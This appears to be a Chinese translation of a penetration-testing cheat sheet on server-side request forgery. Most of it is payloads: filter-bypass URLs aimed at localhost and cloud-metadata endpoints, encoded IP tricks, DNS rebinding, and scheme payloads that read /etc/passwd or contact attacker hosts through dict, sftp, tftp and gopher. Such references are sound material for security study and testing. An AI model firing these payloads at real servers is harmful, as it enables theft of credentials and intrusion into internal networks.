跳转至

服务端请求伪造 (Server-Side Request Forgery)

服务端请求伪造(SSRF)是一种安全漏洞,攻击者可以利用该漏洞迫使服务器代表自己发起请求。

摘要 (Summary)

工具 (Tools)

  • swisskyrepo/SSRFmap - 自动 SSRF 模糊测试与利用工具
  • tarunkant/Gopherus - 生成 gopher 链接,用于在多种服务器中利用 SSRF 并获取 RCE
  • In3tinct/See-SURF - 基于 Python 的扫描器,用于寻找潜在的 SSRF 参数
  • teknogeek/SSRF-Sheriff - 使用 Go 编写的简易 SSRF 测试工具
  • assetnote/surf - 返回可行的 SSRF 候选目标列表
  • dwisiswant0/ipfuscator - 一个超快、线程安全、直接且零内存分配的工具,用于在 Go 中迅速生成 IP(v4) 地址的多种替代表示形式
  • Horlad/r3dir - 一个重定向服务,旨在帮助绕过那些不校验重定向位置的 SSRF 过滤器。已通过 Hackvertor 标签集成到 Burp 中

方法论 (Methodology)

SSRF 是一种安全漏洞,当攻击者操纵服务器向非预期的位置发起 HTTP 请求时就会发生。这种情况发生在服务器在没有经过适当验证的情况下处理用户提供的 URL 或 IP 地址时。

常见的利用路径:

  • 访问云环境元数据 (Cloud Metadata)
  • 读取服务器上的本地文件
  • 网络发现,利用 SSRF 进行端口扫描
  • 向网络中的特定服务发送数据包,通常旨在实现对另一台服务器的远程命令执行 (RCE)

示例:服务器接受用户输入来获取某个 URL。

url = input("输入 URL:")
response = requests.get(url)
return response

攻击者提供恶意输入:

http://169.254.169.254/latest/meta-data/

这将从 AWS EC2 元数据服务中获取敏感信息。

绕过过滤器 (Bypassing Filters)

默认攻击目标 (Default Targets)

默认情况下,SSRF 常被用于访问部署在 localhost 或者是网络深处隐藏的服务。

  • 使用 localhost
http://localhost:80
http://localhost:22
https://localhost:443
  • 使用 127.0.0.1
http://127.0.0.1:80
http://127.0.0.1:22
https://127.0.0.1:443
  • 使用 0.0.0.0
http://0.0.0.0:80
http://0.0.0.0:22
https://0.0.0.0:443

利用 IPv6 记法绕过 Localhost

  • 使用 IPv6 中的未指定地址 [::]

    http://[::]:80/
    
  • 使用 IPv6 环回地址 [0000::1]

    http://[0000::1]:80/
    
  • 使用 IPv6/IPv4 地址嵌入 (Address Embedding)

    http://[0:0:0:0:0:ffff:127.0.0.1]
    http://[::ffff:127.0.0.1]
    

利用域名重定向绕过 Localhost

域名 重定向至
localtest.me ::1
localh.st 127.0.0.1
spoofed.[BURP_COLLABORATOR] 127.0.0.1
spoofed.redacted.oastify.com 127.0.0.1
company.127.0.0.1.nip.io 127.0.0.1

nip.io 服务在此类场景下非常强大,它能将任何 IP 地址转换为 DNS 域名。

NIP.IO 会将 <任何字符>.<IP 地址>.nip.io 映射到对应的 <IP 地址>即便 127.0.0.1.nip.io 也会映射到 127.0.0.1

利用 CIDR 绕过 Localhost

在 IPv4 中,IP 范围 127.0.0.0/8 被保留用于环回地址。

http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

如果你尝试在网络中使用该范围内的任何地址(如 127.0.0.2, 127.1.1.1 等),它们仍会解析到本地机器。

利用稀有地址记法绕过

你可以通过省略零来简写 IP 地址:

http://0/
http://127.1
http://127.0.1

利用编码后的 IP 地址绕过

  • 十进制 IP 地址

    http://2130706433/ = http://127.0.0.1
    http://3232235521/ = http://192.168.0.1
    http://3232235777/ = http://192.168.1.1
    http://2852039166/ = http://169.254.169.254
    
  • 八进制 IP:不同的实现方式处理 IPv4 的八进制格式可能有所不同。

    http://0177.0.0.1/ = http://127.0.0.1
    http://o177.0.0.1/ = http://127.0.0.1
    http://0o177.0.0.1/ = http://127.0.0.1
    http://q177.0.0.1/ = http://127.0.0.1
    
  • 十六进制 IP

    http://0x7f000001 = http://127.0.0.1
    http://0xc0a80101 = http://192.168.1.1
    http://0xa9fea9fe = http://169.254.169.254
    

利用不同的编码方式绕过

  • URL 编码:对特定 URL 进行单次或多次编码以绕过黑名单

    http://127.0.0.1/%61dmin
    http://127.0.0.1/%2561dmin
    
  • 带圈/特殊字形字符 (Enclosed Alphanumeric):①②③④⑤⑥⑦⑧⑨⑩⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳⑴⑵⑶⑷⑸⑹⑺⑻⑼⑽⑾⑿⒀⒁⒂⒃⒄⒅⒆⒇⒈⒉⒊⒋⒌⒍⒎⒏⒐⒑⒒⒓⒔⒕⒖⒗⒘⒙⒚⒛⒜⒝⒞⒟⒠⒡⒢⒣⒤⒥⒦⒧⒨⒩⒪⒫⒬⒭⒮⒯⒰⒱⒲⒳⒴⒵ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ⓪⓫⓬⓭⓮⓯⓰⓱⓲⓳⓴⓵⓶⓷⓸⓹⓺⓻⓼⓽⓾⓿

    http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
    
  • Unicode 编码:在某些语言(.NET, Python 3)中,正则默认支持 Unicode。\d 不仅包含 0123456789,还包含如 ๐๑๒๓๔๕๖๗๘๙ 等字符。

通过 IPv6 主机名绕过

  • 在 Linux 下,/etc/hosts 包含该行:::1 localhost ip6-localhost ip6-loopback。但这仅在 HTTP 服务器运行在 IPv6 时有效。

    http://ip6-localhost = ::1
    http://ip6-loopback = ::1
    

利用 HTTP 重定向绕过

  1. 在一个受信任(白名单内)的主机上创建一个页面,该页面将请求重定向到攻击者目标的 SSRF URL(例如 192.168.0.1)。
  2. 发起 SSRF,指向 vulnerable.com/index.php?url=http://你的重定向服务器
  3. 你可以使用状态码 HTTP 307HTTP 308,以便在重定向后保留原有的 HTTP 方法和请求体 (Body)。

要在无需自行托管重定向服务器的情况下进行重定向或执行无缝的重定向目标模糊测试,请使用 Horlad/r3dir

  • 307 Temporary Redirect 状态码重定向至 http://localhost

    https://307.r3dir.me/--to/?url=http://localhost
    
  • 302 Found 状态码重定向至 http://169.254.169.254/latest/meta-data/

    https://62epax5fhvj3zzmzigyoe5ipkbn7fysllvges3a.302.r3dir.me
    

利用 DNS 重绑定 (DNS Rebinding) 绕过

创建一个在两个 IP 之间切换解析的域名。

  • 1u.ms - DNS 重绑定实用工具

例如,要在 1.2.3.4169.254.169.254 之间轮换,请使用以下域名:

make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms

使用 nslookup 验证地址:

$ nslookup make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
名称:   make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
地址: 1.2.3.4

$ nslookup make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
名称:   make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
地址: 169.254.169.254

利用 URL 解析差异绕过

Orange Tsai 的研究:主流编程语言中利用 URL 解析器的新 SSRF 时代

http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
http:127.0.0.1/

针对 http://1.1.1.1 &@2.2.2.2# @3.3.3.3/,不同库解析后的行为:

  • urllib21.1.1.1 视为目的地。
  • requests 和浏览器会重定向到 2.2.2.2
  • urllib 会解析到 3.3.3.3
  • 某些解析器会将 http:127.0.0.1/ 替换为 http://127.0.0.1/

绕过 PHP filter_var() 函数

在 PHP 7.0.25 中,带有 FILTER_VALIDATE_URL 参数的 filter_var() 函数允许如下 URL:

  • http://test???test.com
  • 0://evil.com:80;http://google.com:80/
<?php 
 echo var_dump(filter_var("http://test???test.com", FILTER_VALIDATE_URL));
 echo var_dump(filter_var("0://evil.com;google.com", FILTER_VALIDATE_URL));
?>

利用 JAR 伪协议绕过

该攻击技术属于全盲注入 (Blind),你将无法看到返回结果。

jar:协议://域名/路径!/ 
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/

通过 URL 伪协议进行利用 (Exploitation via URL Scheme)

File

允许攻击者获取服务器上的文件内容。可将 SSRF 转化为文件读取漏洞。

file:///etc/passwd
file://\/\/etc/passwd

HTTP

允许攻击者获取互联网上的任何内容,也可用于端口扫描。

ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443

Dict

DICT URL 伪协议用于引用可通过 DICT 协议获得的定义或词表:

dict://<用户>;<认证信息>@<主机>:<端口>/d:<单词>:<数据库>:<n>
ssrf.php?url=dict://攻击者IP:11111/

SFTP

一种通过安全外壳 (SSH) 实现安全文件传输的网络协议。

ssrf.php?url=sftp://恶意主机.com:11111/

TFTP

简单文件传输协议,运行在 UDP 之上。

ssrf.php?url=tftp://恶意主机.com:12346/TESTUDPPACKET

LDAP

轻量级目录访问协议。它是一种运行在 IP 网络之上的应用协议,用于管理和访问分布式目录信息服务。

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Netdoc

当你的载荷在处理 "\n" 和 "\r" 字符遇到困难时,该协议可作为 Java 的封装器 (Wrapper)。

ssrf.php?url=netdoc:///etc/passwd

Gopher

gopher:// 协议是一种早于现代万维网的轻量级、基于文本的协议。它被设计用于在互联网上分发、搜索和检索文档。

gopher://[主机]:[端口]/[类型][选择器]

该伪协议非常有用,因为它可被用于向 TCP 协议发送自定义数据。

gopher://localhost:25/_MAIL%20FROM:<攻击者@example.com>%0D%0A

查阅 SSRF 进阶利用部分以深入了解 gopher:// 协议。

盲 SSRF 利用 (Blind Exploitation)

在利用服务端请求伪造时,我们经常会遇到无法读取响应的情况。

利用 SSRF 链来实现带外 (Out-of-Band) 输出:assetnote/blind-ssrf-chains

可通过 HTTP(s) 实现的连锁攻击:

  • Elasticsearch
  • Weblogic
  • Hashicorp Consul
  • Shellshock
  • Apache Druid
  • Apache Solr
  • PeopleSoft
  • Apache Struts
  • JBoss
  • Confluence
  • Jira
  • 其他 Atlassian 产品
  • OpenTSDB
  • Jenkins
  • Hystrix Dashboard
  • W3 Total Cache
  • Docker
  • Gitlab Prometheus Redis 导出器

可通过 Gopher 实现的连锁攻击:

  • Redis
  • Memcache
  • Apache Tomcat

升级为 XSS

当 SSRF 没有关键影响,网络被隔离且无法触达其他机器,且 SSRF 无法外带服务器文件时。

你可以尝试通过包含一个内嵌 Javascript 代码的 SVG 文件,将 SSRF 升级为 XSS。

https://example.com/ssrf.php?url=http://brutelogic.com.br/poc.svg

实验环境 (Labs)

参考资料 (References)